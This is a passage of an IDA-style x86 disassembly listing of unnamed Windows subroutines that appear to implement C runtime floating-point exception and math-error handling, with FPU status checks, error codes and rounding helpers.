loc_421796:				; CODE XREF: sub_420DB0+9DFj
		call	sub_421826
		pop	ecx
		pop	ecx
		jmp	short loc_4217B6
; ---------------------------------------------------------------------------


loc_42179F:				; CODE XREF: sub_420DB0+9AFj
		dec	[ebp+var_4]
		push	edi
		push	eax
		call	sub_421826
		dec	[ebp+var_4]
		push	edi
		push	ebx
		call	sub_421826
		add	esp, 10h


loc_4217B6:				; CODE XREF: sub_420DB0+1Fj
					; sub_420DB0+40Aj ...
		cmp	[ebp+var_14], 0FFFFFFFFh
		jnz	short loc_4217CD


loc_4217BC:				; CODE XREF: sub_420DB0+9BDj
					; sub_420DB0+9C6j
		mov	eax, [ebp+var_34]
		test	eax, eax
		jnz	short loc_4217D0
		cmp	[ebp+var_15], al
		jnz	short loc_4217D0
		or	eax, 0FFFFFFFFh
		jmp	short loc_4217D0
; ---------------------------------------------------------------------------


loc_4217CD:				; CODE XREF: sub_420DB0+A0Aj
		mov	eax, [ebp+var_34]


loc_4217D0:				; CODE XREF: sub_420DB0+A11j
					; sub_420DB0+A16j ...
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_420DB0	endp


; =============== S U B	R O U T	I N E =======================================



sub_4217D5	proc near		; CODE XREF: sub_420DB0+7A3p
					; sub_420DB0+8DCp

arg_0		= dword	ptr  4

		cmp	dword_43D0D4, 1
		push	esi
		jle	short loc_4217EF
		mov	esi, [esp+4+arg_0]
		push	4
		push	esi
		call	sub_41FDB5
		pop	ecx
		pop	ecx
		jmp	short loc_4217FE
; ---------------------------------------------------------------------------


loc_4217EF:				; CODE XREF: sub_4217D5+8j
		mov	esi, [esp+4+arg_0]
		mov	eax, off_43CEC8
		mov	al, [eax+esi*2]
		and	eax, 4


loc_4217FE:				; CODE XREF: sub_4217D5+18j
		test	eax, eax
		jnz	short loc_421808
		and	esi, 0FFFFFFDFh
		sub	esi, 7


loc_421808:				; CODE XREF: sub_4217D5+2Bj
		mov	eax, esi
		pop	esi
		retn
sub_4217D5	endp


; =============== S U B	R O U T	I N E =======================================



sub_42180C	proc near		; CODE XREF: sub_420DB0+1E1p
					; sub_420DB0+289p ...

arg_0		= dword	ptr  4

		mov	edx, [esp+arg_0]
		dec	dword ptr [edx+4]
		js	short loc_42181E
		mov	ecx, [edx]
		movzx	eax, byte ptr [ecx]
		inc	ecx
		mov	[edx], ecx
		retn
; ---------------------------------------------------------------------------


loc_42181E:				; CODE XREF: sub_42180C+7j
		push	edx
		call	sub_41F8E3
		pop	ecx
		retn
sub_42180C	endp


; =============== S U B	R O U T	I N E =======================================



sub_421826	proc near		; CODE XREF: sub_420DB0+6Bp
					; sub_420DB0+3FFp ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		cmp	[esp+arg_0], 0FFFFFFFFh
		jz	short locret_42183C
		push	[esp+arg_4]
		push	[esp+4+arg_0]
		call	sub_4247BF
		pop	ecx
		pop	ecx

locret_42183C:				; CODE XREF: sub_421826+5j
		retn
sub_421826	endp


; =============== S U B	R O U T	I N E =======================================



sub_42183D	proc near		; CODE XREF: sub_420DB0+63p
					; sub_420DB0+1D3p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	esi
		mov	esi, [esp+4+arg_0]
		push	edi


loc_421843:				; CODE XREF: sub_42183D+1Dj
		push	[esp+8+arg_4]
		inc	dword ptr [esi]
		call	sub_42180C
		mov	edi, eax
		push	edi
		call	sub_41DF10
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_421843
		mov	eax, edi
		pop	edi
		pop	esi
		retn
sub_42183D	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame

; int __fastcall sub_421861(int,int,double,int)

sub_421861	proc near		; CODE XREF: sub_41D055+51p
					; sub_41D19B+51p

var_1C		= qword	ptr -1Ch
var_14		= qword	ptr -14h
var_C		= qword	ptr -0Ch
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		cmp	dword_43D840, 0
		jnz	short loc_421896
		push	[ebp+arg_C]	; int
		fld	qword ptr [ebp+arg_4]
		push	ecx
		push	ecx		; double
		fstp	[esp+0Ch+var_C]
		push	ecx		; int
		push	ecx		; int
		fldz
		fstp	[esp+14h+var_14]
		fld	qword ptr [ebp+arg_4]
		push	ecx		; int
		push	ecx		; int
		fstp	[esp+1Ch+var_1C]
		push	[ebp+arg_0]	; int
		push	1		; int
		call	sub_421E16
		add	esp, 24h
		pop	ebp
		retn
; ---------------------------------------------------------------------------


loc_421896:				; CODE XREF: sub_421861+Aj
		push	0FFFFh
		mov	dword_4DBE2C, 21h
		push	[ebp+arg_C]
		call	sub_422089
		fld	qword ptr [ebp+arg_4]
		pop	ecx
		pop	ecx
		pop	ebp
		retn
sub_421861	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame

; int __cdecl sub_4218B4(int,int,double,double,int)

sub_4218B4	proc near		; CODE XREF: sub_41D055:loc_41D118p
					; sub_41D19B:loc_41D25Ep

var_74		= qword	ptr -74h
var_6C		= qword	ptr -6Ch
var_64		= qword	ptr -64h
var_5C		= dword	ptr -5Ch
var_58		= byte ptr -58h
var_20		= dword	ptr -20h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= qword	ptr  10h
arg_10		= qword	ptr  18h
arg_18		= dword	ptr  20h

		push	ebp
		mov	ebp, esp
		sub	esp, 58h
		push	[ebp+arg_18]
		lea	eax, [ebp+arg_10]
		push	eax
		push	[ebp+arg_0]
		call	sub_421BFF
		add	esp, 0Ch
		test	eax, eax
		jnz	short loc_4218F2
		lea	eax, [ebp+arg_10]
		and	[ebp+var_20], 0FFFFFFFEh
		push	eax
		lea	eax, [ebp+arg_8]
		push	eax
		lea	eax, [ebp+arg_18]
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		push	eax
		lea	eax, [ebp+var_58]
		push	eax
		call	sub_42194C
		add	esp, 18h


loc_4218F2:				; CODE XREF: sub_4218B4+1Aj
		push	[ebp+arg_0]
		call	sub_421EE9
		cmp	dword_43D840, 0
		pop	ecx
		jnz	short loc_421930
		test	eax, eax
		jz	short loc_421930
		push	[ebp+arg_18]	; int
		fld	[ebp+arg_10]
		push	ecx
		push	ecx		; double
		fstp	[esp+64h+var_64]
		push	ecx		; int
		push	ecx		; int
		fldz
		fstp	[esp+6Ch+var_6C]
		fld	[ebp+arg_8]
		push	ecx		; int
		push	ecx		; int
		fstp	[esp+74h+var_74]
		push	[ebp+arg_4]	; int
		push	eax		; int
		call	sub_421E16
		add	esp, 24h
		leave
		retn
; ---------------------------------------------------------------------------


loc_421930:				; CODE XREF: sub_4218B4+4Ej
					; sub_4218B4+52j
		push	eax
		call	sub_421E9E
		mov	[esp+5Ch+var_5C], 0FFFFh
		push	[ebp+arg_18]
		call	sub_422089
		fld	[ebp+arg_10]
		pop	ecx
		pop	ecx
		leave
		retn
sub_4218B4	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_42194C	proc near		; CODE XREF: sub_4218B4+36p

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h
arg_14		= dword	ptr  1Ch

		push	ebp
		mov	ebp, esp
		mov	ecx, [ebp+arg_0]
		xor	eax, eax
		push	ebx
		push	esi
		mov	[ecx+4], eax
		mov	ecx, [ebp+arg_0]
		push	edi
		push	1
		mov	[ecx+8], eax
		mov	ecx, [ebp+arg_0]
		pop	ebx
		mov	[ecx+0Ch], eax
		mov	cl, byte ptr [ebp+arg_8]
		test	cl, 10h
		jz	short loc_42197E
		mov	eax, [ebp+arg_0]
		mov	[ebp+arg_8], 0C000008Fh
		or	[eax+4], ebx


loc_42197E:				; CODE XREF: sub_42194C+23j
		test	cl, 2
		jz	short loc_421991
		mov	eax, [ebp+arg_0]
		mov	[ebp+arg_8], 0C0000093h
		or	dword ptr [eax+4], 2


loc_421991:				; CODE XREF: sub_42194C+35j
		test	cl, bl
		jz	short loc_4219A3
		mov	eax, [ebp+arg_0]
		mov	[ebp+arg_8], 0C0000091h
		or	dword ptr [eax+4], 4


loc_4219A3:				; CODE XREF: sub_42194C+47j
		test	cl, 4
		jz	short loc_4219B6
		mov	eax, [ebp+arg_0]
		mov	[ebp+arg_8], 0C000008Eh
		or	dword ptr [eax+4], 8


loc_4219B6:				; CODE XREF: sub_42194C+5Aj
		test	cl, 8
		jz	short loc_4219C9
		mov	eax, [ebp+arg_0]
		mov	[ebp+arg_8], 0C0000090h
		or	dword ptr [eax+4], 10h


loc_4219C9:				; CODE XREF: sub_42194C+6Dj
		mov	esi, [ebp+arg_4]
		mov	eax, [ebp+arg_0]
		push	2
		mov	ecx, [esi]
		mov	edx, [eax+8]
		not	ecx
		and	ecx, ebx
		and	edx, 0FFFFFFEFh
		shl	ecx, 4
		or	ecx, edx
		pop	edi
		mov	[eax+8], ecx
		mov	ecx, [esi]
		mov	eax, [ebp+arg_0]
		not	ecx
		mov	edx, [eax+8]
		and	ecx, 4
		shl	ecx, 1
		and	edx, 0FFFFFFF7h
		or	ecx, edx
		mov	[eax+8], ecx
		mov	ecx, [esi]
		mov	eax, [ebp+arg_0]
		not	ecx
		mov	edx, [eax+8]
		shr	ecx, 1
		and	ecx, 4
		and	edx, 0FFFFFFFBh
		or	ecx, edx
		mov	[eax+8], ecx
		mov	ecx, [esi]
		mov	eax, [ebp+arg_0]
		not	ecx
		mov	edx, [eax+8]
		shr	ecx, 3
		and	ecx, edi
		and	edx, 0FFFFFFFDh
		or	ecx, edx
		mov	[eax+8], ecx
		mov	ecx, [esi]
		mov	eax, [ebp+arg_0]
		not	ecx
		mov	edx, [eax+8]
		shr	ecx, 5
		and	ecx, ebx
		and	edx, 0FFFFFFFEh
		or	ecx, edx
		mov	[eax+8], ecx
		call	sub_42206C
		test	al, bl
		jz	short loc_421A52
		mov	ecx, [ebp+arg_0]
		or	dword ptr [ecx+0Ch], 10h


loc_421A52:				; CODE XREF: sub_42194C+FDj
		test	al, 4
		jz	short loc_421A5D
		mov	ecx, [ebp+arg_0]
		or	dword ptr [ecx+0Ch], 8


loc_421A5D:				; CODE XREF: sub_42194C+108j
		test	al, 8
		jz	short loc_421A68
		mov	ecx, [ebp+arg_0]
		or	dword ptr [ecx+0Ch], 4


loc_421A68:				; CODE XREF: sub_42194C+113j
		test	al, 10h
		jz	short loc_421A72
		mov	ecx, [ebp+arg_0]
		or	[ecx+0Ch], edi


loc_421A72:				; CODE XREF: sub_42194C+11Ej
		test	al, 20h
		jz	short loc_421A7C
		mov	eax, [ebp+arg_0]
		or	[eax+0Ch], ebx


loc_421A7C:				; CODE XREF: sub_42194C+128j
		mov	eax, [esi]
		mov	ecx, 0C00h
		and	eax, ecx
		jz	short loc_421ABB
		cmp	eax, 400h
		jz	short loc_421AAD
		cmp	eax, 800h
		jz	short loc_421AA1
		cmp	eax, ecx
		jnz	short loc_421AC1
		mov	eax, [ebp+arg_0]
		or	dword ptr [eax], 3
		jmp	short loc_421AC1
; ---------------------------------------------------------------------------


loc_421AA1:				; CODE XREF: sub_42194C+147j
		mov	eax, [ebp+arg_0]
		mov	ecx, [eax]
		and	ecx, 0FFFFFFFEh
		or	ecx, edi
		jmp	short loc_421AB7
; ---------------------------------------------------------------------------


loc_421AAD:				; CODE XREF: sub_42194C+140j
		mov	eax, [ebp+arg_0]
		mov	ecx, [eax]
		and	ecx, 0FFFFFFFDh
		or	ecx, ebx


loc_421AB7:				; CODE XREF: sub_42194C+15Fj
		mov	[eax], ecx
		jmp	short loc_421AC1
; ---------------------------------------------------------------------------


loc_421ABB:				; CODE XREF: sub_42194C+139j
		mov	eax, [ebp+arg_0]
		and	dword ptr [eax], 0FFFFFFFCh


loc_421AC1:				; CODE XREF: sub_42194C+14Bj
					; sub_42194C+153j ...
		mov	eax, [esi]
		mov	ecx, 300h
		and	eax, ecx
		jz	short loc_421AEC
		cmp	eax, 200h
		jz	short loc_421ADF
		cmp	eax, ecx
		jnz	short loc_421AF9
		mov	eax, [ebp+arg_0]
		and	dword ptr [eax], 0FFFFFFE3h
		jmp	short loc_421AF9
; ---------------------------------------------------------------------------


loc_421ADF:				; CODE XREF: sub_42194C+185j
		mov	eax, [ebp+arg_0]
		mov	ecx, [eax]
		and	ecx, 0FFFFFFE7h
		or	ecx, 4
		jmp	short loc_421AF7
; ---------------------------------------------------------------------------


loc_421AEC:				; CODE XREF: sub_42194C+17Ej
		mov	eax, [ebp+arg_0]
		mov	ecx, [eax]
		and	ecx, 0FFFFFFEBh
		or	ecx, 8


loc_421AF7:				; CODE XREF: sub_42194C+19Ej
		mov	[eax], ecx


loc_421AF9:				; CODE XREF: sub_42194C+189j
					; sub_42194C+191j
		mov	eax, [ebp+arg_0]
		mov	ecx, [ebp+arg_C]
		and	ecx, 0FFFh
		mov	edx, [eax]
		shl	ecx, 5
		and	edx, 0FFFE001Fh
		or	ecx, edx
		mov	[eax], ecx
		mov	eax, [ebp+arg_0]
		or	[eax+20h], ebx
		mov	eax, [ebp+arg_0]
		mov	ecx, [eax+20h]
		and	ecx, 0FFFFFFE3h
		or	ecx, edi
		mov	[eax+20h], ecx
		mov	eax, [ebp+arg_10]
		fld	qword ptr [eax]
		mov	eax, [ebp+arg_0]
		fstp	qword ptr [eax+10h]
		mov	eax, [ebp+arg_0]
		or	[eax+50h], ebx
		mov	eax, [ebp+arg_0]
		mov	ecx, [eax+50h]
		and	ecx, 0FFFFFFE3h
		or	ecx, edi
		mov	edi, [ebp+arg_14]
		mov	[eax+50h], ecx
		mov	eax, [ebp+arg_0]
		fld	qword ptr [edi]
		fstp	qword ptr [eax+40h]
		call	sub_42207A
		lea	eax, [ebp+arg_0]
		push	eax
		push	ebx
		push	0
		push	[ebp+arg_8]
		nop
		call	near ptr 2650431h
		mov	eax, [ebp+arg_0]
		test	byte ptr [eax+8], 10h
		jz	short loc_421B73
		and	dword ptr [esi], 0FFFFFFFEh


loc_421B73:				; CODE XREF: sub_42194C+222j
		test	byte ptr [eax+8], 8
		jz	short loc_421B7C
		and	dword ptr [esi], 0FFFFFFFBh


loc_421B7C:				; CODE XREF: sub_42194C+22Bj
		test	byte ptr [eax+8], 4
		jz	short loc_421B85
		and	dword ptr [esi], 0FFFFFFF7h


loc_421B85:				; CODE XREF: sub_42194C+234j
		test	byte ptr [eax+8], 2
		jz	short loc_421B8E
		and	dword ptr [esi], 0FFFFFFEFh


loc_421B8E:				; CODE XREF: sub_42194C+23Dj
		test	[eax+8], bl
		jz	short loc_421B96
		and	dword ptr [esi], 0FFFFFFDFh


loc_421B96:				; CODE XREF: sub_42194C+245j
		mov	ecx, [eax]
		mov	edx, 0FFFFF3FFh
		and	ecx, 3
		sub	ecx, 0
		jz	short loc_421BCA
		dec	ecx
		jz	short loc_421BBE
		dec	ecx
		jz	short loc_421BB4
		dec	ecx
		jnz	short loc_421BCC
		or	byte ptr [esi+1], 0Ch
		jmp	short loc_421BCC
; ---------------------------------------------------------------------------


loc_421BB4:				; CODE XREF: sub_42194C+25Dj
		mov	ecx, [esi]
		and	ch, 0FBh
		or	ch, 8
		jmp	short loc_421BC6
; ---------------------------------------------------------------------------


loc_421BBE:				; CODE XREF: sub_42194C+25Aj
		mov	ecx, [esi]
		and	ch, 0F7h
		or	ch, 4


loc_421BC6:				; CODE XREF: sub_42194C+270j
		mov	[esi], ecx
		jmp	short loc_421BCC
; ---------------------------------------------------------------------------


loc_421BCA:				; CODE XREF: sub_42194C+257j
		and	[esi], edx


loc_421BCC:				; CODE XREF: sub_42194C+260j
					; sub_42194C+266j ...
		mov	ecx, [eax]
		shr	ecx, 2
		and	ecx, 7
		sub	ecx, 0
		jz	short loc_421BEC
		dec	ecx
		jz	short loc_421BE3
		dec	ecx
		jnz	short loc_421BF5
		and	[esi], edx
		jmp	short loc_421BF5
; ---------------------------------------------------------------------------


loc_421BE3:				; CODE XREF: sub_42194C+28Ej
		mov	ecx, [esi]
		and	ecx, edx
		or	ch, 2
		jmp	short loc_421BF3
; ---------------------------------------------------------------------------


loc_421BEC:				; CODE XREF: sub_42194C+28Bj
		mov	ecx, [esi]
		and	ecx, edx
		or	ch, 3


loc_421BF3:				; CODE XREF: sub_42194C+29Ej
		mov	[esi], ecx


loc_421BF5:				; CODE XREF: sub_42194C+291j
					; sub_42194C+295j
		fld	qword ptr [eax+40h]
		fstp	qword ptr [edi]
		pop	edi
		pop	esi
		pop	ebx
		pop	ebp
		retn
sub_42194C	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_421BFF	proc near		; CODE XREF: sub_4218B4+10p

var_24		= qword	ptr -24h
var_C		= qword	ptr -0Ch
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 0Ch
		mov	eax, [ebp+arg_0]
		push	ebx
		push	edi
		mov	edi, eax
		and	edi, 1Fh
		push	1
		test	al, 8
		pop	ebx
		jz	short loc_421C2A
		test	byte ptr [ebp+arg_8], bl
		jz	short loc_421C2A
		push	ebx
		call	sub_4220AC
		pop	ecx
		and	edi, 0FFFFFFF7h
		jmp	loc_421DF4
; ---------------------------------------------------------------------------


loc_421C2A:				; CODE XREF: sub_421BFF+15j
					; sub_421BFF+1Aj
		test	al, 4
		jz	short loc_421C44
		test	byte ptr [ebp+arg_8], 4
		jz	short loc_421C44
		push	4
		call	sub_4220AC
		pop	ecx
		and	edi, 0FFFFFFFBh
		jmp	loc_421DF4
; ---------------------------------------------------------------------------


loc_421C44:				; CODE XREF: sub_421BFF+2Dj
					; sub_421BFF+33j
		test	al, bl
		jz	loc_421D1E
		test	byte ptr [ebp+arg_8], 8
		jz	loc_421D1E
		push	8
		call	sub_4220AC
		pop	ecx
		mov	eax, 0C00h
		mov	ecx, [ebp+arg_8]
		and	ecx, eax
		jz	loc_421CF6
		cmp	ecx, 400h
		jz	short loc_421CCE
		cmp	ecx, 800h
		jz	short loc_421CA6
		cmp	ecx, eax
		jnz	loc_421D16
		mov	ecx, [ebp+arg_4]
		fld	qword ptr [ecx]
		fcomp	dbl_427860
		fld	dbl_43D440
		fnstsw	ax
		sahf
		ja	short loc_421C9E
		fchs


loc_421C9E:				; CODE XREF: sub_421BFF+9Bj
		fstp	[ebp+var_C]
		fld	[ebp+var_C]
		jmp	short loc_421D14
; ---------------------------------------------------------------------------


loc_421CA6:				; CODE XREF: sub_421BFF+7Dj
		mov	ecx, [ebp+arg_4]
		fld	qword ptr [ecx]
		fcomp	dbl_427860
		fnstsw	ax
		sahf
		jbe	short loc_421CBE
		fld	dbl_43D430
		jmp	short loc_421CC6
; ---------------------------------------------------------------------------


loc_421CBE:				; CODE XREF: sub_421BFF+B5j
		fld	dbl_43D440
		fchs


loc_421CC6:				; CODE XREF: sub_421BFF+BDj
		fstp	[ebp+var_C]
		fld	[ebp+var_C]
		jmp	short loc_421D14
; ---------------------------------------------------------------------------


loc_421CCE:				; CODE XREF: sub_421BFF+75j
		mov	ecx, [ebp+arg_4]
		fld	qword ptr [ecx]
		fcomp	dbl_427860
		fnstsw	ax
		sahf
		jbe	short loc_421CE6
		fld	dbl_43D440
		jmp	short loc_421CEE
; ---------------------------------------------------------------------------


loc_421CE6:				; CODE XREF: sub_421BFF+DDj
		fld	dbl_43D430
		fchs


loc_421CEE:				; CODE XREF: sub_421BFF+E5j
		fstp	[ebp+var_C]
		fld	[ebp+var_C]
		jmp	short loc_421D14
; ---------------------------------------------------------------------------


loc_421CF6:				; CODE XREF: sub_421BFF+69j
		mov	ecx, [ebp+arg_4]
		fld	qword ptr [ecx]
		fcomp	dbl_427860
		fld	dbl_43D430
		fnstsw	ax
		sahf
		ja	short loc_421D0E
		fchs


loc_421D0E:				; CODE XREF: sub_421BFF+10Bj
		fstp	[ebp+var_C]
		fld	[ebp+var_C]


loc_421D14:				; CODE XREF: sub_421BFF+A5j
					; sub_421BFF+CDj ...
		fstp	qword ptr [ecx]


loc_421D16:				; CODE XREF: sub_421BFF+81j
		and	edi, 0FFFFFFFEh
		jmp	loc_421DF4
; ---------------------------------------------------------------------------


loc_421D1E:				; CODE XREF: sub_421BFF+47j
					; sub_421BFF+51j
		test	al, 2
		jz	loc_421DF4
		test	byte ptr [ebp+arg_8], 10h
		jz	loc_421DF4
		push	esi
		xor	esi, esi
		test	al, 10h
		jz	short loc_421D39
		mov	esi, ebx


loc_421D39:				; CODE XREF: sub_421BFF+136j
		mov	eax, [ebp+arg_4]
		fld	qword ptr [eax]
		fstp	[ebp+var_C]
		fld	[ebp+var_C]
		fcomp	dbl_427860
		fnstsw	ax
		sahf
		jz	loc_421DE2
		fld	[ebp+var_C]
		lea	eax, [ebp+var_4]
		push	eax		; int
		push	ecx
		push	ecx		; double
		fstp	[esp+24h+var_24]
		call	sub_421FAB
		mov	eax, [ebp+var_4]
		add	esp, 0Ch
		fstp	[ebp+var_C]
		lea	ecx, [eax-600h]
		cmp	ecx, 0FFFFFBCEh
		jge	short loc_421D84
		fldz
		mov	esi, ebx
		fstp	[ebp+var_C]
		jmp	short loc_421DD8
; ---------------------------------------------------------------------------


loc_421D84:				; CODE XREF: sub_421BFF+17Aj
		fld	[ebp+var_C]
		fcomp	dbl_427860
		fnstsw	ax
		sahf
		jnb	short loc_421D96
		mov	edx, ebx
		jmp	short loc_421D98
; ---------------------------------------------------------------------------


loc_421D96:				; CODE XREF: sub_421BFF+191j
		xor	edx, edx


loc_421D98:				; CODE XREF: sub_421BFF+195j
		mov	al, byte ptr [ebp+var_C+6]
		and	eax, 0Fh
		or	al, 10h
		mov	word ptr [ebp+var_C+6],	ax
		mov	eax, 0FFFFFC03h
		cmp	ecx, eax
		jge	short loc_421DCC
		sub	eax, ecx


loc_421DAF:				; CODE XREF: sub_421BFF+1CBj
		test	byte ptr [ebp+var_C], bl
		jz	short loc_421DBA
		test	esi, esi
		jnz	short loc_421DBA
		mov	esi, ebx


loc_421DBA:				; CODE XREF: sub_421BFF+1B3j
					; sub_421BFF+1B7j
		shr	dword ptr [ebp+var_C], 1
		test	byte ptr [ebp+var_C+4],	bl
		jz	short loc_421DC6
		or	byte ptr [ebp+var_C+3],	80h


loc_421DC6:				; CODE XREF: sub_421BFF+1C1j
		shr	dword ptr [ebp+var_C+4], 1
		dec	eax
		jnz	short loc_421DAF


loc_421DCC:				; CODE XREF: sub_421BFF+1ACj
		test	edx, edx
		jz	short loc_421DD8
		fld	[ebp+var_C]
		fchs
		fstp	[ebp+var_C]


loc_421DD8:				; CODE XREF: sub_421BFF+183j
					; sub_421BFF+1CFj
		fld	[ebp+var_C]
		mov	eax, [ebp+arg_4]
		fstp	qword ptr [eax]
		jmp	short loc_421DE4
; ---------------------------------------------------------------------------


loc_421DE2:				; CODE XREF: sub_421BFF+14Ej
		mov	esi, ebx


loc_421DE4:				; CODE XREF: sub_421BFF+1E1j
		test	esi, esi
		pop	esi
		jz	short loc_421DF1
		push	10h
		call	sub_4220AC
		pop	ecx


loc_421DF1:				; CODE XREF: sub_421BFF+1E8j
		and	edi, 0FFFFFFFDh


loc_421DF4:				; CODE XREF: sub_421BFF+26j
					; sub_421BFF+40j ...
		test	byte ptr [ebp+arg_0], 10h
		jz	short loc_421E0B
		test	byte ptr [ebp+arg_8], 20h
		jz	short loc_421E0B
		push	20h
		call	sub_4220AC
		pop	ecx
		and	edi, 0FFFFFFEFh


loc_421E0B:				; CODE XREF: sub_421BFF+1F9j
					; sub_421BFF+1FFj
		xor	eax, eax
		test	edi, edi
		pop	edi
		pop	ebx
		setz	al
		leave
		retn
sub_421BFF	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame

; int __cdecl sub_421E16(int,int,int,int,int,int,double,int)

sub_421E16	proc near		; CODE XREF: sub_421861+2Bp
					; sub_4218B4+72p

var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= qword	ptr -8
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h
arg_14		= dword	ptr  1Ch
arg_18		= qword	ptr  20h
arg_20		= dword	ptr  28h

		push	ebp
		mov	ebp, esp
		sub	esp, 20h
		push	[ebp+arg_4]
		call	sub_421EC4
		test	eax, eax
		pop	ecx
		mov	[ebp+var_1C], eax
		jz	short loc_421E81
		mov	eax, [ebp+arg_8]
		push	esi
		mov	[ebp+var_18], eax
		mov	eax, [ebp+arg_C]
		mov	[ebp+var_14], eax
		mov	eax, [ebp+arg_10]
		mov	esi, [ebp+arg_0]
		mov	[ebp+var_10], eax
		mov	eax, [ebp+arg_14]
		push	0FFFFh
		push	[ebp+arg_20]
		mov	[ebp+var_C], eax
		mov	eax, dword ptr [ebp+arg_18]
		mov	[ebp+var_20], esi
		mov	dword ptr [ebp+var_8], eax
		mov	eax, dword ptr [ebp+arg_18+4]
		mov	dword ptr [ebp+var_8+4], eax
		call	sub_422089
		lea	eax, [ebp+var_20]
		push	eax
		call	sub_42482D
		add	esp, 0Ch
		test	eax, eax
		jnz	short loc_421E7B
		push	esi
		call	sub_421E9E
		pop	ecx


loc_421E7B:				; CODE XREF: sub_421E16+5Cj
		fld	[ebp+var_8]
		pop	esi
		leave
		retn
; ---------------------------------------------------------------------------


loc_421E81:				; CODE XREF: sub_421E16+14j
		push	0FFFFh
		push	[ebp+arg_20]
		call	sub_422089
		push	[ebp+arg_0]
		call	sub_421E9E
		fld	[ebp+arg_18]
		add	esp, 0Ch
		leave
		retn
sub_421E16	endp


; =============== S U B	R O U T	I N E =======================================



sub_421E9E	proc near		; CODE XREF: sub_4218B4+7Dp
					; sub_421E16+5Fp ...

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		cmp	eax, 1
		jz	short loc_421EB9
		jle	short locret_421EC3
		cmp	eax, 3
		jg	short locret_421EC3
		mov	dword_4DBE2C, 22h
		retn
; ---------------------------------------------------------------------------


loc_421EB9:				; CODE XREF: sub_421E9E+7j
		mov	dword_4DBE2C, 21h

locret_421EC3:				; CODE XREF: sub_421E9E+9j
					; sub_421E9E+Ej
		retn
sub_421E9E	endp


; =============== S U B	R O U T	I N E =======================================



sub_421EC4	proc near		; CODE XREF: sub_421E16+9p

arg_0		= dword	ptr  4

		xor	ecx, ecx
		mov	eax, offset dword_43D358


loc_421ECB:				; CODE XREF: sub_421EC4+18j
		mov	edx, [eax]
		cmp	edx, [esp+arg_0]
		jz	short loc_421EE1
		add	eax, 8
		inc	ecx
		cmp	eax, offset dbl_43D430
		jl	short loc_421ECB
		xor	eax, eax
		retn
; ---------------------------------------------------------------------------


loc_421EE1:				; CODE XREF: sub_421EC4+Dj
		mov	eax, off_43D35C[ecx*8]
		retn
sub_421EC4	endp


; =============== S U B	R O U T	I N E =======================================



sub_421EE9	proc near		; CODE XREF: sub_4218B4+41p

arg_0		= byte ptr  4

		mov	al, [esp+arg_0]
		test	al, 20h
		jz	short loc_421EF5
		push	5
		jmp	short loc_421F0B
; ---------------------------------------------------------------------------


loc_421EF5:				; CODE XREF: sub_421EE9+6j
		test	al, 8
		jz	short loc_421EFD
		push	1
		jmp	short loc_421F0B
; ---------------------------------------------------------------------------


loc_421EFD:				; CODE XREF: sub_421EE9+Ej
		test	al, 4
		jz	short loc_421F05
		push	2
		jmp	short loc_421F0B
; ---------------------------------------------------------------------------


loc_421F05:				; CODE XREF: sub_421EE9+16j
		test	al, 1
		jz	short loc_421F0D
		push	3


loc_421F0B:				; CODE XREF: sub_421EE9+Aj
					; sub_421EE9+12j ...
		pop	eax
		retn
; ---------------------------------------------------------------------------


loc_421F0D:				; CODE XREF: sub_421EE9+1Ej
		movzx	eax, al
		and	eax, 2
		shl	eax, 1
		retn
sub_421EE9	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame

; int __cdecl sub_421F16(double)

sub_421F16	proc near		; CODE XREF: sub_41D055:loc_41D0DBp
					; sub_41D19B:loc_41D221p

var_8		= qword	ptr -8
arg_0		= qword	ptr  8

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		fld	[ebp+arg_0]
		frndint
		fstp	[ebp+var_8]
		fld	[ebp+var_8]
		leave
		retn
sub_421F16	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame

; int __cdecl sub_421F28(double,int)

sub_421F28	proc near		; CODE XREF: sub_421FAB+82p
					; sub_421FAB+98p

var_8		= qword	ptr -8
arg_0		= qword	ptr  8
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		mov	eax, [ebp+arg_8]
		mov	ecx, [ebp+0Eh]
		fld	[ebp+arg_0]
		add	eax, 3FEh
		and	cx, 800Fh
		fstp	[ebp+var_8]
		shl	eax, 4
		or	eax, ecx
		mov	word ptr [ebp+var_8+6],	ax
		fld	[ebp+var_8]
		leave
		retn
sub_421F28	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_421F51	proc near		; CODE XREF: sub_41D055+31p
					; sub_41D19B+31p

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		xor	edx, edx
		cmp	[ebp+arg_4], 7FF00000h
		jnz	short loc_421F68
		cmp	[ebp+arg_0], edx
		jnz	short loc_421F7A
		push	1
		jmp	short loc_421FA4
; ---------------------------------------------------------------------------


loc_421F68:				; CODE XREF: sub_421F51+Cj
		cmp	[ebp+arg_4], 0FFF00000h
